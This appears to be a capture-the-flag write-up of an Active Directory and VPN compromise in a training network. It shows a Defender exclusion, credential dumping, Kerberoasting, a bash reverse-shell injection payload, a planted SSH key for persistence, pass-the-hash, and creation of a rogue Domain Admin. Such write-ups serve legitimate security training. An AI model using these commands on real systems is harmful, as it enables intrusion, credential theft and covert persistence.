Full Compromise of CORP Domain
Recon
We now have local administrator access on the machine, but to fully compromise the Active Directory, we'll need a Domain Administrator account.
Since Windows Defender is active, we need a way to whitelist our malicious files. To keep the challenge level high for other players on the network, instead of turning off Windows Defender, we can add an exclusion folder using the following command:
Set-MpPreference -ExclusionPath "C:\Users\laura.wood\Downloads*"
After setting up the exclusion folder, we copied a few tools to begin Active Directory Enumeration and Exploitation. We started by running Mimikatz to dump hashes, secrets, and extract data from lsass.
Next, we ran SharpHound to gather data to map the Active Directory in Bloodhound. To exfiltrate the collected data from the machine, we created a shared folder pointing to the Downloads directory using the following command:
New-SMBShare -name "free$" -path "C:\Users\laura.wood\Downloads" -FullAccess "laura.wood@corp.thereserve.loc"
Finally, we can use smbclient to access the shared folder and retrieve the data collected by our tools:
After importing the data into the Bloodhound database, we can run a series of queries to identify the most effective attack paths.
We begin by searching for Kerberoastable accounts to see if any accounts are vulnerable to Kerberos ticket-granting service attacks.
We can use the cypher in Bloodhound CE.
The following command will give all kerberoastable accounts:
MATCH (n:User)WHERE n.hasspn=true
RETURN n
A Kerberoasting attack targets the password hash of an Active Directory account that has a Service Principal Name (SPN). This method involves using an authenticated domain user to request a Kerberos service ticket from the Ticket Granting Service (TGS).
The returned ticket is encrypted with the service account’s hash, which can then be cracked using tools like hashcat after capturing the TGS ticket.
A key benefit of this attack is that it doesn’t require privileged access—any domain user can request service tickets from the TGS, making it an effective way to attempt password recovery.
Using Rubeus provided in resources we can perform kerberoasting.
After capturing the hashes, we utilize hashcat to crack them. After some time, we successfully retrieve the password for the svcScanning account.
Breaching vpn.thereserve.loc (10.200.XXX.12)
Next, we start a listener via netcat on 1337.
nc -lnvp 1337And prepare the following payload to connect back to our machine.
x && /bin/bash -i >& /dev/tcp/MACHINE_IP/1337 0>&1
We have a reverse shell. Let's upgrade it for better functionality.
Privilege Escalation and Persistence
Enumeration of the target reveals that the user www-data has permission to use cp with sudo.
www-data@ip-10-200-118-12:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ip-10-200-118-12:/var/www/html$ sudo -l
Matching Defaults entries for www-data on ip-10-200-118-12:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ip-10-200-118-12:
(root) NOPASSWD: /home/ubuntu/openvpn-createuser.sh, /bin/cp
www-data@ip-10-200-118-12:/var/www/html$ The next step is to check GTFOBins to see if we can exploit this sudo permission for cp.
With the following command, we are able to write to any file:
LFILE=file_to_write
echo "DATA" | sudo cp /dev/stdin "$LFILE"Next, we search for any existing users on the machine and find a user named ubuntu.
www-data@ip-10-200-118-12:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
www-data@ip-10-200-118-12:/home$ Looking at the home directory of Ubuntu, we are able to read it and there is a .ssh folder.
www-data@ip-10-200-118-12:/home$ ls -lah ubuntu/
total 168K
drwxr-xr-x 10 ubuntu ubuntu 4.0K Nov 12 10:40 .
drwxr-xr-x 3 root root 4.0K Jul 8 2020 ..
-rw------- 1 root root 547 Apr 11 2023 .bash_history
-rw-r--r-- 1 ubuntu ubuntu 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3.7K Apr 4 2018 .bashrc
drwx------ 2 ubuntu ubuntu 4.0K Jul 8 2020 .cache
drwx------ 3 root root 4.0K Jul 8 2020 .config
drwx------ 3 ubuntu ubuntu 4.0K Jul 8 2020 .gnupg
drwxrwxr-x 3 ubuntu ubuntu 4.0K Jul 8 2020 .local
-rw------- 1 ubuntu ubuntu 302 Apr 8 2023 .mysql_history
-rw-r--r-- 1 ubuntu ubuntu 807 Apr 4 2018 .profile
-rw-r--r-- 1 root root 74 Feb 15 2023 .selected_editor
drwx------ 2 ubuntu ubuntu 4.0K Apr 27 2023 .ssh
-rw-r--r-- 1 ubuntu ubuntu 0 Jul 8 2020 .sudo_as_admin_successful
-rw------- 1 ubuntu ubuntu 11K May 4 2023 .viminfo
-rw------- 1 ubuntu ubuntu 16K Apr 27 2023 .viminfo.tmp
-rw-r--r-- 1 root root 165 Jul 8 2020 .wget-hsts
drwxrwxr-x 3 ubuntu ubuntu 4.0K Feb 15 2023 Throwback-Time
drwxrwxr-x 2 ubuntu ubuntu 4.0K Nov 13 11:08 japan121
-rwxrwxr-x 1 ubuntu ubuntu 1.1K Jul 8 2020 openvpn-createuser.sh
-rwxrwxr-x 1 ubuntu ubuntu 1.1K Mar 18 2023 openvpn-createuser.sh.bak
-rwxrwxr-x 1 ubuntu ubuntu 816 Jul 8 2020 openvpn-deleteuser.sh
-rwxrwxr-x 1 ubuntu ubuntu 14K Jul 8 2020 openvpn-installer.sh
-rw-r--r-- 1 root root 637 Apr 21 2023 server.conf.bak
drwxrwxr-x 2 ubuntu ubuntu 4.0K Nov 10 05:58 teady
-rw-rw-r-- 1 ubuntu ubuntu 34K Feb 15 2023 thereserve.png
-rwxrwxr-x 1 ubuntu ubuntu 1.7K May 4 2023 vpn-fix.py
www-data@ip-10-200-118-12:/home$The plan is to add our own public SSH key to the .ssh/authorized_keys file for the ubuntu user, allowing us to SSH into the account directly.
This is our key:
Before proceeding, we retrieve the existing keys of other participants and users from the authorized_keys file. This allows us to append our key without disrupting the persistence of other users on the network and to remain undetected. Additionally, this ensures that the user ubuntu can still SSH into the machine as usual.
Before making any modifications, we should check if the authorized_keys file exists and examine its current content to avoid accidental overwrites.
sudo cp /home/ubuntu/.ssh/authorized_keys /dev/stdout
Append our SSH public key to .ssh/authorized_keys.
LFILE=/home/ubuntu/.ssh/authorized_keys
echo "ssh-rsa
-----------------
Existing keys
-----------------
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQC7nLsm+plDjHmoVTy3T99CuEGlCX/qpejMDw9NNgMT0HgLZYXj3RMH44bl5pviH+4Zzp/CNc7etMNbMh9cAxbMH9JmxLf6K8bzCbuL2FDUct65oQFFnvCEJKQOnx5Lcg6gxuxz66ejd7KwxbMhkAku6kha4PU5CJNy+zGRoy+4PyUgfnZceNw9rwU5kpc71+BSVjwx0uHa87vbz7roVikrPrAXKpZwRUWefXHQfEyVW5OdIVf3smedVbdx0x30XyO2tuKQbf54KZPLjXyn5yi+6a7bIt15D78owtJxAPsauKh4FJzHXtumWgJcN/ama+zuSJcj6kPSNW7adhvssEChIUa5PtqsXC1IR4vbupT3WelP9keng62od5QA7VhwG960b54CNEDaabSqkzK0Vv4Yx9TfsjDOblIVFUWYEZ2R6MDGmOykilgCRT4Yv+mz+3WsfF9cp7WJUYp81q5DXVF/V0bOasqsnQ4bOjB10QOFjpSu6jHH/YSzYrQUZuoNPNc= kali@kali" | sudo cp /dev/stdin "$LFILE"After successfully adding our SSH key to the authorized_keys file, we can now SSH into the machine as the ubuntu user.
Enumeration of the target reveals that the ubuntu user is allowed to run any command without providing a password using sudo.
ubuntu@ip-10-200-118-12:~$ sudo -l
Matching Defaults entries for ubuntu on ip-10-200-118-12:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ubuntu may run the following commands on ip-10-200-118-12:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
ubuntu@ip-10-200-118-12:~$ Lateral Movement
To pivot through the network using SSH dynamic port forwarding, we can use the following command to redirect traffic through port 9050:
ssh -D 9050 -i rtc ubuntu@10.200.118.12This command sets up a SOCKS proxy on port 9050 using SSH, allowing us to route traffic through the target machine. The -D 9050 option creates the dynamic port forward, and the -i rtc option specifies the private key for authentication.
To continue our investigation and move closer to fully compromising the corporate domain, we use sshuttle to pivot through the network. This allows us to avoid relying on ProxyChains, simplifying the process for further network exploration and exploitation.
To verify that our network pivoting with sshuttle is working correctly, we use Nmap to scan a known port on a known machine within the target network.
This helps ensure that we have successfully established connectivity and can continue with further enumeration and exploitation from our current position.
We are now able to log in using Remmina with the svcScanning credentials, granting us further access to the target environment for continued enumeration and potential exploitation.
Upon examining the user groups, we discover that the svcScanning account is a member of the Local Administrators group. This grants us elevated privileges on the machine, allowing for deeper access and potential control over the system.
Flags 5 - 6
Breaching CORPDC (10.200.XXX.102)
Running impackets-secretsdumps with the user svcScanning in the hope to get any credentials of svcBackups or another high value target.
impacket-secretsdump corp.thereserve.loc/svcScanning:'Password1!'@10.200.XXX.31We proceed by running impacket-secretsdump with the svcScanning credentials. The goal is to extract any valuable credentials, particularly targeting svcBackups or other high-value accounts that might provide further access or lead to a Domain Administrator account.
We get svcBackups credentials with dcsync capabilities.
With this user we run again impacket-secretsdump and are able to retrieve the local Administrator hash.
By leveraging the Pass-the-Hash (PTH) technique with the local Administrator hash, we use Evil-WinRM to directly connect to the child domain controller, corpdc.
This allows us to gain access to the domain controller and potentially perform further actions to escalate privileges or compromise the domain.
Running the following commands to add our own user and adding it to the Domain Admins:
New-ADUser <username>
Add-ADGroupMember -Identity 'Domain Admins' -Members <username>
Set-ADAccountPassword -Identity <username>-NewPassword (ConvertTo-SecureString -AsPlainText "<Password>" -Force)
Enable-ADAccount -Identity '<username>'
Flags 7 - 8
Last updated
Was this helpful?